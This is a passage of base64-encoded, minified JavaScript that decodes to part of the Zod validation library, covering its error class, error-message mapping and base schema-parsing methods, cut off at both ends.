91bmlvbl9kaXNjcmltaW5hdG9yIiwiaW52YWxpZF9lbnVtX3ZhbHVlIiwidW5yZWNvZ25pemVkX2tleXMiLCJpbnZhbGlkX2FyZ3VtZW50cyIsImludmFsaWRfcmV0dXJuX3R5cGUiLCJpbnZhbGlkX2RhdGUiLCJpbnZhbGlkX3N0cmluZyIsInRvb19zbWFsbCIsInRvb19iaWciLCJpbnZhbGlkX2ludGVyc2VjdGlvbl90eXBlcyIsIm5vdF9tdWx0aXBsZV9vZiIsIm5vdF9maW5pdGUiXSk7Y2xhc3MgWXQgZXh0ZW5kcyBFcnJvcntjb25zdHJ1Y3Rvcih0KXtzdXBlcigpLHRoaXMuaXNzdWVzPVtdLHRoaXMuYWRkSXNzdWU9dD0+e3RoaXMuaXNzdWVzPVsuLi50aGlzLmlzc3Vlcyx0XX0sdGhpcy5hZGRJc3N1ZXM9KHQ9W10pPT57dGhpcy5pc3N1ZXM9Wy4uLnRoaXMuaXNzdWVzLC4uLnRdfTtjb25zdCBlPW5ldy50YXJnZXQucHJvdG90eXBlO09iamVjdC5zZXRQcm90b3R5cGVPZj9PYmplY3Quc2V0UHJvdG90eXBlT2YodGhpcyxlKTp0aGlzLl9fcHJvdG9fXz1lLHRoaXMubmFtZT0iWm9kRXJyb3IiLHRoaXMuaXNzdWVzPXR9Z2V0IGVycm9ycygpe3JldHVybiB0aGlzLmlzc3Vlc31mb3JtYXQodCl7Y29uc3QgZT10fHxmdW5jdGlvbih0KXtyZXR1cm4gdC5tZXNzYWdlfSxuPXtfZXJyb3JzOltdfSxyPXQ9Pntmb3IoY29uc3QgbyBvZiB0Lmlzc3VlcylpZigiaW52YWxpZF91bmlvbiI9PT1vLmNvZGUpby51bmlvbkVycm9ycy5tYXAocik7ZWxzZSBpZigiaW52YWxpZF9yZXR1cm5fdHlwZSI9PT1vLmNvZGUpcihvLnJldHVyblR5cGVFcnJvcik7ZWxzZSBpZigiaW52YWxpZF9hcmd1bWVudHMiPT09by5jb2RlKXIoby5hcmd1bWVudHNFcnJvcik7ZWxzZSBpZigwPT09by5wYXRoLmxlbmd0aCluLl9lcnJvcnMucHVzaChlKG8pKTtlbHNle2xldCB0PW4scj0wO2Zvcig7cjxvLnBhdGgubGVuZ3RoOyl7Y29uc3Qgbj1vLnBhdGhbcl07cj09PW8ucGF0aC5sZW5ndGgtMT8odFtuXT10W25dfHx7X2Vycm9yczpbXX0sdFtuXS5fZXJyb3JzLnB1c2goZShvKSkpOnRbbl09dFtuXXx8e19lcnJvcnM6W119LHQ9dFtuXSxyKyt9fX07cmV0dXJuIHIodGhpcyksbn1zdGF0aWMgYXNzZXJ0KHQpe2lmKCEodCBpbnN0YW5jZW9mIFl0KSl0aHJvdyBuZXcgRXJyb3IoYE5vdCBhIFpvZEVycm9yOiAke3R9YCl9dG9TdHJpbmcoKXtyZXR1cm4gdGhpcy5tZXNzYWdlfWdldCBtZXNzYWdlKCl7cmV0dXJuIEpTT04uc3RyaW5naWZ5KHRoaXMuaXNzdWVzLEl0Lmpzb25TdHJpbmdpZnlSZXBsYWNlciwyKX1nZXQgaXNFbXB0eSgpe3JldHVybiAwPT09dGhpcy5pc3N1ZXMubGVuZ3RofWZsYXR0ZW4odD0odD0+dC5tZXNzYWdlKSl7Y29uc3QgZT17fSxuPVtdO2Zvcihjb25zdCByIG9mIHRoaXMuaXNzdWVzKXIucGF0aC5sZW5ndGg+MD8oZVtyLnBhdGhbMF1dPWVbci5wYXRoWzBdXXx8W10sZVtyLnBhdGhbMF1dLnB1c2godChyKSkpOm4ucHVzaCh0KHIpKTtyZXR1cm57Zm9ybUVycm9yczpuLGZpZWxkRXJyb3JzOmV9fWdldCBmb3JtRXJyb3JzKCl7cmV0dXJuIHRoaXMuZmxhdHRlbigpfX1ZdC5jcmVhdGU9dD0+bmV3IFl0KHQpO2NvbnN0IHRlPSh0LGUpPT57bGV0IG47c3dpdGNoKHQuY29kZSl7Y2FzZSBYdC5pbnZhbGlkX3R5cGU6bj10LnJlY2VpdmVkPT09anQudW5kZWZpbmVkPyJSZXF1aXJlZCI6YEV4cGVjdGVkICR7dC5leHBlY3RlZH0sIHJlY2VpdmVkICR7dC5yZWNlaXZlZH1gO2JyZWFrO2Nhc2UgWHQuaW52YWxpZF9saXRlcmFsOm49YEludmFsaWQgbGl0ZXJhbCB2YWx1ZSwgZXhwZWN0ZWQgJHtKU09OLnN0cmluZ2lmeSh0LmV4cGVjdGVkLEl0Lmpzb25TdHJpbmdpZnlSZXBsYWNlcil9YDticmVhaztjYXNlIFh0LnVucmVjb2duaXplZF9rZXlzOm49YFVucmVjb2duaXplZCBrZXkocykgaW4gb2JqZWN0OiAke0l0LmpvaW5WYWx1ZXModC5rZXlzLCIsICIpfWA7YnJlYWs7Y2FzZSBYdC5pbnZhbGlkX3VuaW9uOm49IkludmFsaWQgaW5wdXQiO2JyZWFrO2Nhc2UgWHQuaW52YWxpZF91bmlvbl9kaXNjcmltaW5hdG9yOm49YEludmFsaWQgZGlzY3JpbWluYXRvciB2YWx1ZS4gRXhwZWN0ZWQgJHtJdC5qb2luVmFsdWVzKHQub3B0aW9ucyl9YDticmVhaztjYXNlIFh0LmludmFsaWRfZW51bV92YWx1ZTpuPWBJbnZhbGlkIGVudW0gdmFsdWUuIEV4cGVjdGVkICR7SXQuam9pblZhbHVlcyh0Lm9wdGlvbnMpfSwgcmVjZWl2ZWQgJyR7dC5yZWNlaXZlZH0nYDticmVhaztjYXNlIFh0LmludmFsaWRfYXJndW1lbnRzOm49IkludmFsaWQgZnVuY3Rpb24gYXJndW1lbnRzIjticmVhaztjYXNlIFh0LmludmFsaWRfcmV0dXJuX3R5cGU6bj0iSW52YWxpZCBmdW5jdGlvbiByZXR1cm4gdHlwZSI7YnJlYWs7Y2FzZSBYdC5pbnZhbGlkX2RhdGU6bj0iSW52YWxpZCBkYXRlIjticmVhaztjYXNlIFh0LmludmFsaWRfc3RyaW5nOiJvYmplY3QiPT10eXBlb2YgdC52YWxpZGF0aW9uPyJpbmNsdWRlcyJpbiB0LnZhbGlkYXRpb24/KG49YEludmFsaWQgaW5wdXQ6IG11c3QgaW5jbHVkZSAiJHt0LnZhbGlkYXRpb24uaW5jbHVkZXN9ImAsIm51bWJlciI9PXR5cGVvZiB0LnZhbGlkYXRpb24ucG9zaXRpb24mJihuPWAke259IGF0IG9uZSBvciBtb3JlIHBvc2l0aW9ucyBncmVhdGVyIHRoYW4gb3IgZXF1YWwgdG8gJHt0LnZhbGlkYXRpb24ucG9zaXRpb259YCkpOiJzdGFydHNXaXRoImluIHQudmFsaWRhdGlvbj9uPWBJbnZhbGlkIGlucHV0OiBtdXN0IHN0YXJ0IHdpdGggIiR7dC52YWxpZGF0aW9uLnN0YXJ0c1dpdGh9ImA6ImVuZHNXaXRoImluIHQudmFsaWRhdGlvbj9uPWBJbnZhbGlkIGlucHV0OiBtdXN0IGVuZCB3aXRoICIke3QudmFsaWRhdGlvbi5lbmRzV2l0aH0iYDpJdC5hc3NlcnROZXZlcih0LnZhbGlkYXRpb24pOm49InJlZ2V4IiE9PXQudmFsaWRhdGlvbj9gSW52YWxpZCAke3QudmFsaWRhdGlvbn1gOiJJbnZhbGlkIjticmVhaztjYXNlIFh0LnRvb19zbWFsbDpuPSJhcnJheSI9PT10LnR5cGU/YEFycmF5IG11c3QgY29udGFpbiAke3QuZXhhY3Q/ImV4YWN0bHkiOnQuaW5jbHVzaXZlPyJhdCBsZWFzdCI6Im1vcmUgdGhhbiJ9ICR7dC5taW5pbXVtfSBlbGVtZW50KHMpYDoic3RyaW5nIj09PXQudHlwZT9gU3RyaW5nIG11c3QgY29udGFpbiAke3QuZXhhY3Q/ImV4YWN0bHkiOnQuaW5jbHVzaXZlPyJhdCBsZWFzdCI6Im92ZXIifSAke3QubWluaW11bX0gY2hhcmFjdGVyKHMpYDoibnVtYmVyIj09PXQudHlwZT9gTnVtYmVyIG11c3QgYmUgJHt0LmV4YWN0PyJleGFjdGx5IGVxdWFsIHRvICI6dC5pbmNsdXNpdmU/ImdyZWF0ZXIgdGhhbiBvciBlcXVhbCB0byAiOiJncmVhdGVyIHRoYW4gIn0ke3QubWluaW11bX1gOiJkYXRlIj09PXQudHlwZT9gRGF0ZSBtdXN0IGJlICR7dC5leGFjdD8iZXhhY3RseSBlcXVhbCB0byAiOnQuaW5jbHVzaXZlPyJncmVhdGVyIHRoYW4gb3IgZXF1YWwgdG8gIjoiZ3JlYXRlciB0aGFuICJ9JHtuZXcgRGF0ZShOdW1iZXIodC5taW5pbXVtKSl9YDoiSW52YWxpZCBpbnB1dCI7YnJlYWs7Y2FzZSBYdC50b29fYmlnOm49ImFycmF5Ij09PXQudHlwZT9gQXJyYXkgbXVzdCBjb250YWluICR7dC5leGFjdD8iZXhhY3RseSI6dC5pbmNsdXNpdmU/ImF0IG1vc3QiOiJsZXNzIHRoYW4ifSAke3QubWF4aW11bX0gZWxlbWVudChzKWA6InN0cmluZyI9PT10LnR5cGU/YFN0cmluZyBtdXN0IGNvbnRhaW4gJHt0LmV4YWN0PyJleGFjdGx5Ijp0LmluY2x1c2l2ZT8iYXQgbW9zdCI6InVuZGVyIn0gJHt0Lm1heGltdW19IGNoYXJhY3RlcihzKWA6Im51bWJlciI9PT10LnR5cGU/YE51bWJlciBtdXN0IGJlICR7dC5leGFjdD8iZXhhY3RseSI6dC5pbmNsdXNpdmU/Imxlc3MgdGhhbiBvciBlcXVhbCB0byI6Imxlc3MgdGhhbiJ9ICR7dC5tYXhpbXVtfWA6ImJpZ2ludCI9PT10LnR5cGU/YEJpZ0ludCBtdXN0IGJlICR7dC5leGFjdD8iZXhhY3RseSI6dC5pbmNsdXNpdmU/Imxlc3MgdGhhbiBvciBlcXVhbCB0byI6Imxlc3MgdGhhbiJ9ICR7dC5tYXhpbXVtfWA6ImRhdGUiPT09dC50eXBlP2BEYXRlIG11c3QgYmUgJHt0LmV4YWN0PyJleGFjdGx5Ijp0LmluY2x1c2l2ZT8ic21hbGxlciB0aGFuIG9yIGVxdWFsIHRvIjoic21hbGxlciB0aGFuIn0gJHtuZXcgRGF0ZShOdW1iZXIodC5tYXhpbXVtKSl9YDoiSW52YWxpZCBpbnB1dCI7YnJlYWs7Y2FzZSBYdC5jdXN0b206bj0iSW52YWxpZCBpbnB1dCI7YnJlYWs7Y2FzZSBYdC5pbnZhbGlkX2ludGVyc2VjdGlvbl90eXBlczpuPSJJbnRlcnNlY3Rpb24gcmVzdWx0cyBjb3VsZCBub3QgYmUgbWVyZ2VkIjticmVhaztjYXNlIFh0Lm5vdF9tdWx0aXBsZV9vZjpuPWBOdW1iZXIgbXVzdCBiZSBhIG11bHRpcGxlIG9mICR7dC5tdWx0aXBsZU9mfWA7YnJlYWs7Y2FzZSBYdC5ub3RfZmluaXRlOm49Ik51bWJlciBtdXN0IGJlIGZpbml0ZSI7YnJlYWs7ZGVmYXVsdDpuPWUuZGVmYXVsdEVycm9yLEl0LmFzc2VydE5ldmVyKHQpfXJldHVybnttZXNzYWdlOm59fTtsZXQgZWU9dGU7ZnVuY3Rpb24gbmUoKXtyZXR1cm4gZWV9Y29uc3QgcmU9dD0+e2NvbnN0e2RhdGE6ZSxwYXRoOm4sZXJyb3JNYXBzOnIsaXNzdWVEYXRhOm99PXQsYT1bLi4ubiwuLi5vLnBhdGh8fFtdXSxpPXsuLi5vLHBhdGg6YX07aWYodm9pZCAwIT09by5tZXNzYWdlKXJldHVybnsuLi5vLHBhdGg6YSxtZXNzYWdlOm8ubWVzc2FnZX07bGV0IGM9IiI7Y29uc3Qgcz1yLmZpbHRlcigodD0+ISF0KSkuc2xpY2UoKS5yZXZlcnNlKCk7Zm9yKGNvbnN0IGQgb2YgcyljPWQoaSx7ZGF0YTplLGRlZmF1bHRFcnJvcjpjfSkubWVzc2FnZTtyZXR1cm57Li4ubyxwYXRoOmEsbWVzc2FnZTpjfX07ZnVuY3Rpb24gb2UodCxlKXtjb25zdCBuPW5lKCkscj1yZSh7aXNzdWVEYXRhOmUsZGF0YTp0LmRhdGEscGF0aDp0LnBhdGgsZXJyb3JNYXBzOlt0LmNvbW1vbi5jb250ZXh0dWFsRXJyb3JNYXAsdC5zY2hlbWFFcnJvck1hcCxuLG49PT10ZT92b2lkIDA6dGVdLmZpbHRlcigodD0+ISF0KSl9KTt0LmNvbW1vbi5pc3N1ZXMucHVzaChyKX1jbGFzcyBhZXtjb25zdHJ1Y3Rvcigpe3RoaXMudmFsdWU9InZhbGlkIn1kaXJ0eSgpeyJ2YWxpZCI9PT10aGlzLnZhbHVlJiYodGhpcy52YWx1ZT0iZGlydHkiKX1hYm9ydCgpeyJhYm9ydGVkIiE9PXRoaXMudmFsdWUmJih0aGlzLnZhbHVlPSJhYm9ydGVkIil9c3RhdGljIG1lcmdlQXJyYXkodCxlKXtjb25zdCBuPVtdO2Zvcihjb25zdCByIG9mIGUpe2lmKCJhYm9ydGVkIj09PXIuc3RhdHVzKXJldHVybiBpZTsiZGlydHkiPT09ci5zdGF0dXMmJnQuZGlydHkoKSxuLnB1c2goci52YWx1ZSl9cmV0dXJue3N0YXR1czp0LnZhbHVlLHZhbHVlOm59fXN0YXRpYyBhc3luYyBtZXJnZU9iamVjdEFzeW5jKHQsZSl7Y29uc3Qgbj1bXTtmb3IoY29uc3QgciBvZiBlKXtjb25zdCB0PWF3YWl0IHIua2V5LGU9YXdhaXQgci52YWx1ZTtuLnB1c2goe2tleTp0LHZhbHVlOmV9KX1yZXR1cm4gYWUubWVyZ2VPYmplY3RTeW5jKHQsbil9c3RhdGljIG1lcmdlT2JqZWN0U3luYyh0LGUpe2NvbnN0IG49e307Zm9yKGNvbnN0IHIgb2YgZSl7Y29uc3R7a2V5OmUsdmFsdWU6b309cjtpZigiYWJvcnRlZCI9PT1lLnN0YXR1cylyZXR1cm4gaWU7aWYoImFib3J0ZWQiPT09by5zdGF0dXMpcmV0dXJuIGllOyJkaXJ0eSI9PT1lLnN0YXR1cyYmdC5kaXJ0eSgpLCJkaXJ0eSI9PT1vLnN0YXR1cyYmdC5kaXJ0eSgpLCJfX3Byb3RvX18iPT09ZS52YWx1ZXx8dm9pZCAwPT09by52YWx1ZSYmIXIuYWx3YXlzU2V0fHwobltlLnZhbHVlXT1vLnZhbHVlKX1yZXR1cm57c3RhdHVzOnQudmFsdWUsdmFsdWU6bn19fWNvbnN0IGllPU9iamVjdC5mcmVlemUoe3N0YXR1czoiYWJvcnRlZCJ9KSxjZT10PT4oe3N0YXR1czoiZGlydHkiLHZhbHVlOnR9KSxzZT10PT4oe3N0YXR1czoidmFsaWQiLHZhbHVlOnR9KSxkZT10PT4iYWJvcnRlZCI9PT10LnN0YXR1cyx1ZT10PT4iZGlydHkiPT09dC5zdGF0dXMsbGU9dD0+InZhbGlkIj09PXQuc3RhdHVzLFdlPXQ9PiJ1bmRlZmluZWQiIT10eXBlb2YgUHJvbWlzZSYmdCBpbnN0YW5jZW9mIFByb21pc2U7ZnVuY3Rpb24gZmUodCxlLG4scil7aWYoImEiPT09biYmIXIpdGhyb3cgbmV3IFR5cGVFcnJvcigiUHJpdmF0ZSBhY2Nlc3NvciB3YXMgZGVmaW5lZCB3aXRob3V0IGEgZ2V0dGVyIik7aWYoImZ1bmN0aW9uIj09dHlwZW9mIGU/dCE9PWV8fCFyOiFlLmhhcyh0KSl0aHJvdyBuZXcgVHlwZUVycm9yKCJDYW5ub3QgcmVhZCBwcml2YXRlIG1lbWJlciBmcm9tIGFuIG9iamVjdCB3aG9zZSBjbGFzcyBkaWQgbm90IGRlY2xhcmUgaXQiKTtyZXR1cm4ibSI9PT1uP3I6ImEiPT09bj9yLmNhbGwodCk6cj9yLnZhbHVlOmUuZ2V0KHQpfWZ1bmN0aW9uIGhlKHQsZSxuLHIsbyl7aWYoIm0iPT09cil0aHJvdyBuZXcgVHlwZUVycm9yKCJQcml2YXRlIG1ldGhvZCBpcyBub3Qgd3JpdGFibGUiKTtpZigiYSI9PT1yJiYhbyl0aHJvdyBuZXcgVHlwZUVycm9yKCJQcml2YXRlIGFjY2Vzc29yIHdhcyBkZWZpbmVkIHdpdGhvdXQgYSBzZXR0ZXIiKTtpZigiZnVuY3Rpb24iPT10eXBlb2YgZT90IT09ZXx8IW86IWUuaGFzKHQpKXRocm93IG5ldyBUeXBlRXJyb3IoIkNhbm5vdCB3cml0ZSBwcml2YXRlIG1lbWJlciB0byBhbiBvYmplY3Qgd2hvc2UgY2xhc3MgZGlkIG5vdCBkZWNsYXJlIGl0Iik7cmV0dXJuImEiPT09cj9vLmNhbGwodCxuKTpvP28udmFsdWU9bjplLnNldCh0LG4pLG59dmFyIG1lLHBlLGtlLGdlOyJmdW5jdGlvbiI9PXR5cGVvZiBTdXBwcmVzc2VkRXJyb3ImJlN1cHByZXNzZWRFcnJvciwocGU9bWV8fChtZT17fSkpLmVyclRvT2JqPXQ9PiJzdHJpbmciPT10eXBlb2YgdD97bWVzc2FnZTp0fTp0fHx7fSxwZS50b1N0cmluZz10PT4ic3RyaW5nIj09dHlwZW9mIHQ/dDpudWxsPT10P3ZvaWQgMDp0Lm1lc3NhZ2U7Y2xhc3MgdmV7Y29uc3RydWN0b3IodCxlLG4scil7dGhpcy5fY2FjaGVkUGF0aD1bXSx0aGlzLnBhcmVudD10LHRoaXMuZGF0YT1lLHRoaXMuX3BhdGg9bix0aGlzLl9rZXk9cn1nZXQgcGF0aCgpe3JldHVybiB0aGlzLl9jYWNoZWRQYXRoLmxlbmd0aHx8KHRoaXMuX2tleSBpbnN0YW5jZW9mIEFycmF5P3RoaXMuX2NhY2hlZFBhdGgucHVzaCguLi50aGlzLl9wYXRoLC4uLnRoaXMuX2tleSk6dGhpcy5fY2FjaGVkUGF0aC5wdXNoKC4uLnRoaXMuX3BhdGgsdGhpcy5fa2V5KSksdGhpcy5fY2FjaGVkUGF0aH19Y29uc3QgeWU9KHQsZSk9PntpZihsZShlKSlyZXR1cm57c3VjY2VzczohMCxkYXRhOmUudmFsdWV9O2lmKCF0LmNvbW1vbi5pc3N1ZXMubGVuZ3RoKXRocm93IG5ldyBFcnJvcigiVmFsaWRhdGlvbiBmYWlsZWQgYnV0IG5vIGlzc3VlcyBkZXRlY3RlZC4iKTtyZXR1cm57c3VjY2VzczohMSxnZXQgZXJyb3IoKXtpZih0aGlzLl9lcnJvcilyZXR1cm4gdGhpcy5fZXJyb3I7Y29uc3QgZT1uZXcgWXQodC5jb21tb24uaXNzdWVzKTtyZXR1cm4gdGhpcy5fZXJyb3I9ZSx0aGlzLl9lcnJvcn19fTtmdW5jdGlvbiBDZSh0KXtpZighdClyZXR1cm57fTtjb25zdHtlcnJvck1hcDplLGludmFsaWRfdHlwZV9lcnJvcjpuLHJlcXVpcmVkX2Vycm9yOnIsZGVzY3JpcHRpb246b309dDtpZihlJiYobnx8cikpdGhyb3cgbmV3IEVycm9yKCdDYW5cJ3QgdXNlICJpbnZhbGlkX3R5cGVfZXJyb3IiIG9yICJyZXF1aXJlZF9lcnJvciIgaW4gY29uanVuY3Rpb24gd2l0aCBjdXN0b20gZXJyb3IgbWFwLicpO2lmKGUpcmV0dXJue2Vycm9yTWFwOmUsZGVzY3JpcHRpb246b307cmV0dXJue2Vycm9yTWFwOihlLG8pPT57dmFyIGEsaTtjb25zdHttZXNzYWdlOmN9PXQ7cmV0dXJuImludmFsaWRfZW51bV92YWx1ZSI9PT1lLmNvZGU/e21lc3NhZ2U6bnVsbCE9Yz9jOm8uZGVmYXVsdEVycm9yfTp2b2lkIDA9PT1vLmRhdGE/e21lc3NhZ2U6bnVsbCE9PShhPW51bGwhPWM/YzpyKSYmdm9pZCAwIT09YT9hOm8uZGVmYXVsdEVycm9yfToiaW52YWxpZF90eXBlIiE9PWUuY29kZT97bWVzc2FnZTpvLmRlZmF1bHRFcnJvcn06e21lc3NhZ2U6bnVsbCE9PShpPW51bGwhPWM/YzpuKSYmdm9pZCAwIT09aT9pOm8uZGVmYXVsdEVycm9yfX0sZGVzY3JpcHRpb246b319Y2xhc3MgeGV7Y29uc3RydWN0b3IodCl7dGhpcy5zcGE9dGhpcy5zYWZlUGFyc2VBc3luYyx0aGlzLl9kZWY9dCx0aGlzLnBhcnNlPXRoaXMucGFyc2UuYmluZCh0aGlzKSx0aGlzLnNhZmVQYXJzZT10aGlzLnNhZmVQYXJzZS5iaW5kKHRoaXMpLHRoaXMucGFyc2VBc3luYz10aGlzLnBhcnNlQXN5bmMuYmluZCh0aGlzKSx0aGlzLnNhZmVQYXJzZUFzeW5jPXRoaXMuc2FmZVBhcnNlQXN5bmMuYmluZCh0aGlzKSx0aGlzLnNwYT10aGlzLnNwYS5iaW5kKHRoaXMpLHRoaXMucmVmaW5lPXRoaXMucmVmaW5lLmJpbmQodGhpcyksdGhpcy5yZWZpbmVtZW50PXRoaXMucmVmaW5lbWVudC5iaW5kKHRoaXMpLHRoaXMuc3VwZXJSZWZpbmU9dGhpcy5zdXBlclJlZmluZS5iaW5kKHRoaXMpLHRoaXMub3B0aW9uYWw9dGhpcy5vcHRpb25hbC5iaW5kKHRoaXMpLHRoaXMubnVsbGFibGU9dGhpcy5udWxsYWJsZS5iaW5kKHRoaXMpLHRoaXMubnVsbGlzaD10aGlzLm51bGxpc2guYmluZCh0aGlzKSx0aGlzLmFycmF5PXRoaXMuYXJyYXkuYmluZCh0aGlzKSx0aGlzLnByb21pc2U9dGhpcy5wcm9taXNlLmJpbmQodGhpcyksdGhpcy5vcj10aGlzLm9yLmJpbmQodGhpcyksdGhpcy5hbmQ9dGhpcy5hbmQuYmluZCh0aGlzKSx0aGlzLnRyYW5zZm9ybT10aGlzLnRyYW5zZm9ybS5iaW5kKHRoaXMpLHRoaXMuYnJhbmQ9dGhpcy5icmFuZC5iaW5kKHRoaXMpLHRoaXMuZGVmYXVsdD10aGlzLmRlZmF1bHQuYmluZCh0aGlzKSx0aGlzLmNhdGNoPXRoaXMuY2F0Y2guYmluZCh0aGlzKSx0aGlzLmRlc2NyaWJlPXRoaXMuZGVzY3JpYmUuYmluZCh0aGlzKSx0aGlzLnBpcGU9dGhpcy5waXBlLmJpbmQodGhpcyksdGhpcy5yZWFkb25seT10aGlzLnJlYWRvbmx5LmJpbmQodGhpcyksdGhpcy5pc051bGxhYmxlPXRoaXMuaXNOdWxsYWJsZS5iaW5kKHRoaXMpLHRoaXMuaXNPcHRpb25hbD10aGlzLmlzT3B0aW9uYWwuYmluZCh0aGlzKX1nZXQgZGVzY3JpcHRpb24oKXtyZXR1cm4gdGhpcy5fZGVmLmRlc2NyaXB0aW9ufV9nZXRUeXBlKHQpe3JldHVybiBVdCh0LmRhdGEpfV9nZXRPclJldHVybkN0eCh0LGUpe3JldHVybiBlfHx7Y29tbW9uOnQucGFyZW50LmNvbW1vbixkYXRhOnQuZGF0YSxwYXJzZWRUeXBlOlV0KHQuZGF0YSksc2NoZW1hRXJyb3JNYXA6dGhpcy5fZGVmLmVycm9yTWFwLHBhdGg6dC5wYXRoLHBhcmVudDp0LnBhcmVudH19X3Byb2Nlc3NJbnB1dFBhcmFtcyh0KXtyZXR1cm57c3RhdHVzOm5ldyBhZSxjdHg6e2NvbW1vbjp0LnBhcmVudC5jb21tb24sZGF0YTp0LmRhdGEscGFyc2VkVHlwZTpVdCh0LmRhdGEpLHNjaGVtYUVycm9yTWFwOnRoaXMuX2RlZi5lcnJvck1hcCxwYXRoOnQucGF0aCxwYXJlbnQ6dC5wYXJlbnR9fX1fcGFyc2VTeW5jKHQpe2NvbnN0IGU9dGhpcy5fcGFyc2UodCk7aWYoV2UoZSkpdGhyb3cgbmV3IEVycm9yKCJTeW5jaHJvbm91cyBwYXJzZSBlbmNvdW50ZXJlZCBwcm9taXNlLiIpO3JldHVybiBlfV9wYXJzZUFzeW5jKHQpe2NvbnN0IGU9dGhpcy5fcGFyc2UodCk7cmV0dXJuIFByb21pc2UucmVzb2x2ZShlKX1wYXJzZSh0LGUpe2NvbnN0IG49dGhpcy5zYWZlUGFyc2UodCxlKTtpZihuLnN1Y2Nlc3MpcmV0dXJuIG4uZGF0YTt0aHJvdyBuLmVycm9yfXNhZmVQYXJzZSh0LGUpe3ZhciBuO2NvbnN0IHI9e2NvbW1vbjp7aXNzdWVzOltdLGFzeW5jOm51bGwhPT0obj1udWxsPT1lP3ZvaWQgMDplLmFzeW5jKSYmdm9pZCAwIT09biYmbixjb250ZXh0dWFsRXJyb3JNYXA6bnVsbD09ZT92b2lkIDA6ZS5lcnJvck1hcH0scGF0aDoobnVsbD09ZT92b2lkIDA6ZS5wYXRoKXx8W10sc2NoZW1hRXJyb3JNYXA6dGhpcy5fZGVmLmVycm9yTWFwLHBhcmVudDpudWxsLGRhdGE6dCxwYXJzZWRUeXBlOlV0KHQpfSxvPXRoaXMuX3BhcnNlU3luYyh7ZGF0YTp0LHBhdGg6ci5wYXRoLHBhcmVudDpyfSk7cmV0dXJuIHllKHIsbyl9YXN5bmMgcGFyc2VBc3luYyh0LGUpe2NvbnN0IG49YXdhaXQgdGhpcy5zYWZlUGFyc2VBc3luYyh0LGUpO2lmKG4uc3VjY2VzcylyZXR1cm4gbi5kYXRhO3Rocm93IG4uZXJyb3J9YXN5bmMgc2FmZVBhcnNlQXN5bmModCxlKXtjb25zdCBuPXtjb21tb246e2lzc3VlczpbXSxjb250ZXh0dWFsRXJyb3JNYXA6bnVsbD09ZT92b2lkIDA6ZS5lcnJvck1hcCxhc3luYzohMH0scGF0aDoobnVsbD09ZT92b2lkIDA6ZS5wYXRoKXx8W10sc2NoZW1hRXJyb3JNYXA6dGhpcy5fZGVmLmVycm9yTWFwLHBhcmVudDpudWxsLGRhdGE6dCxwYXJzZWRUeXBlOlV0KHQpfSxyPXRoaXMuX3BhcnNlKHtkYXRhOnQscGF0aDpuLnBhdGgscGFyZW50Om59KSxvPWF3YWl0KFdlKHIpP3I6UHJvbWlzZS5yZXNvbHZlKHIpKTtyZXR1cm4geWUobixvKX1yZWZpbmUodCxlKXtjb25zdCBuPXQ9PiJzdHJpbmciPT10eXBlb2YgZXx8dm9pZCAwPT09ZT97bWVzc2FnZTplfToiZnVuY3Rpb24iPT10eXBlb2YgZT9lKHQpOmU7cmV0dXJuIHRoaXMuX3JlZmluZW1lbnQoKChlLHIpPT57Y29uc3Qgbz10KGUpLGE9KCk9PnIuYWRkSXNzdWUoe2NvZGU6WHQuY3VzdG9tLC4uLm4oZSl9KTtyZXR1cm4idW5kZWZpbmVkIiE9dHlwZW9mIFByb21pc2UmJm8gaW5zdGFuY2VvZiBQcm9taXNlP28udGhlbigodD0+ISF0fHwoYSgpLCExKSkpOiEhb3x8KGEoKSwhMSl9KSl9cmVmaW5lbWVudCh0LGUpe3JldHVybiB0aGlzLl9yZWZpbmVtZW50KCgobixyKT0+ISF0KG4pfHwoci5hZGRJc3N1ZSgiZnVuY3Rpb24iPT10eXBlb2YgZT9lKG4scik6ZSksITEpKSl9X3JlZmluZW1lbnQodCl7cmV0dXJuIG5ldyBrbih7c2NoZW1hOnRoaXMsdHlwZU5hbWU6X24uWm9kRWZmZWN0cyxlZmZlY3Q6e3R5cGU6InJlZmluZW1lbnQiLHJlZmluZW1lbnQ6dH19KX1zdXBlclJlZmluZSh0KXtyZXR1cm4gdGhpcy5fcmVmaW5lbWVudCh0KX1vcHRpb25hbCgpe3JldHVybiBnbi5jcmVhdGUodGhpcyx0aGlzLl9kZWYpfW51bGxhYmxlKCl7cmV0dXJuIHZuLmNyZWF0ZSh0aGlzLHRoaXMuX2RlZil9bnVsbGlzaCgpe3JldHVybiB0aGlzLm51bGxhYmxlKCkub3B0aW9uYWwoKX1hcnJheSgpe3JldHVybiBVZS5jcmVhdGUodGhpcyx0aGlzLl9kZWYpfXByb21pc2UoKXtyZXR1cm4gcG4uY3JlYXRlKHRoaXMsdGhpcy5fZGVmKX1vcih0KXtyZXR1cm4gdG4uY3JlYXRlKFt0aGlzLHRdLHRoaXMuX2RlZil9YW5kKHQpe3JldHVybiBvbi5jcmVhdGUodGhpcyx0LHRoaXMuX2RlZil9dHJhbnNmb3JtKHQpe3JldHVybiBuZXcga24oey4uLkNlKHRoaXMuX2RlZiksc2NoZW1hOnRoaXMsdHlwZU5hbWU6X24uWm9kRWZmZWN0cyxlZmZlY3Q6e3R5cGU6InRyYW5zZm9ybSIsdHJhbnNmb3JtOnR9fSl9ZGVmYXVsdCh0KXtjb25zdCBlPSJmdW5jdGlvbiI9PXR5cGVvZiB0P3Q6KCk9PnQ7cmV0dXJuIG5ldyB5bih7Li4uQ2UodGhpcy5fZGVmKSxpbm5lclR5cGU6dGhpcyxkZWZhdWx0VmFsdWU6ZSx0eXBlTmFtZTpfbi5ab2REZWZhdWx0fSl9YnJhbmQoKXtyZXR1cm4gbmV3IGJuKHt0eXBlTmFtZTpfbi5ab2RCcmFuZGVkLHR5cGU6dGhpcywuLi5DZSh0aGlzLl9kZWYpfSl9Y2F0Y2godCl7Y29uc3QgZT0iZnVuY3Rpb24iPT10eXBlb2YgdD90OigpPT50O3JldHVybiBuZXcgQ24oey4uLkNlKHRoaXMuX2RlZiksaW5uZXJUeXBlOnRoaXMsY2F0Y2hWYWx1ZTplLHR5cGVOYW1lOl9uLlpvZENhdGNofSl9ZGVzY3JpYmUodCl7cmV0dXJuIG5ldygwLHRoaXMuY29uc3RydWN0b3IpKHsuLi50aGlzLl9kZWYsZGVzY3JpcHRpb246dH0pfXBpcGUodCl7cmV0dXJuIHduLmNyZWF0ZSh0aGlzLHQpfXJlYWRvbmx5KCl7cmV0dXJuIE9uLmNyZWF0ZSh0aGlzKX1pc09wdGlvbmFsKCl7cmV0dXJuIHRoaXMuc2FmZVBhcnNlKHZvaWQgMCkuc3VjY2Vz